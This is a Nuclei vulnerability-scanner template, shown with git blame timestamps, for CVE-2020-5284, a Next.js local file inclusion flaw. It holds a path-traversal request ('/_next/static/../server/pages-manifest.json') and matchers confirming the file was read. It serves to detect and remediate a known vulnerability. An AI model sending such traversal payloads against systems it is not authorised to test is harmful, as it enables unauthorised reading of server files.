nuclei-templates/http/cves/2020/CVE-2020-5284.yaml

51 lines
1.9 KiB
YAML
Raw Normal View History

2021-01-02 04:56:15 +00:00
id: CVE-2020-5284
2020-04-05 18:24:33 +00:00
info:
name: Next.js <9.3.2 - Local File Inclusion
2021-06-09 12:20:56 +00:00
author: rootxharsh,iamnoooob,dwisiswant0
2020-04-05 18:24:33 +00:00
severity: medium
description: Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.
2023-09-27 15:51:13 +00:00
impact: |
An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
2023-09-06 12:22:36 +00:00
remediation: This issue is fixed in version 9.3.2.
2021-03-21 06:41:45 +00:00
reference:
- https://github.com/zeit/next.js/releases/tag/v9.3.2
- https://github.com/zeit/next.js/security/advisories/GHSA-fq77-7p7r-83rj
- https://nvd.nist.gov/vuln/detail/CVE-2020-5284
- https://github.com/Z0fhack/Goby_POC
- https://github.com/merlinepedra/nuclei-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
cvss-score: 4.3
cve-id: CVE-2020-5284
2023-07-11 19:49:27 +00:00
cwe-id: CWE-22,CWE-23
epss-score: 0.00213
epss-percentile: 0.58675
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: zeit
product: next.js
2023-12-05 09:50:33 +00:00
tags: cve,cve2020,nextjs,lfi,zeit
2020-04-05 18:24:33 +00:00
http:
2020-04-05 18:24:33 +00:00
- method: GET
path:
- "{{BaseURL}}/_next/static/../server/pages-manifest.json"
2023-07-11 19:49:27 +00:00
2020-07-08 08:45:18 +00:00
matchers-condition: and
2020-04-05 18:24:33 +00:00
matchers:
- type: word
2023-07-11 19:49:27 +00:00
part: header
words:
- "application/json"
2023-07-11 19:49:27 +00:00
- type: regex
part: body
regex:
- '\{"/_app":".*?_app\.js"'
2020-04-05 18:24:33 +00:00
- type: status
status:
- 200
# digest: 4a0a00473045022100cf159e65f362247e3e0a65e83c53300c9520bdf1e380765a8409fa22e623af0d02204351e223719946f992f804a11e35bf15d60a75603f57f242a0aab437fb152249:922c64590222798bb761d5b6d8e72950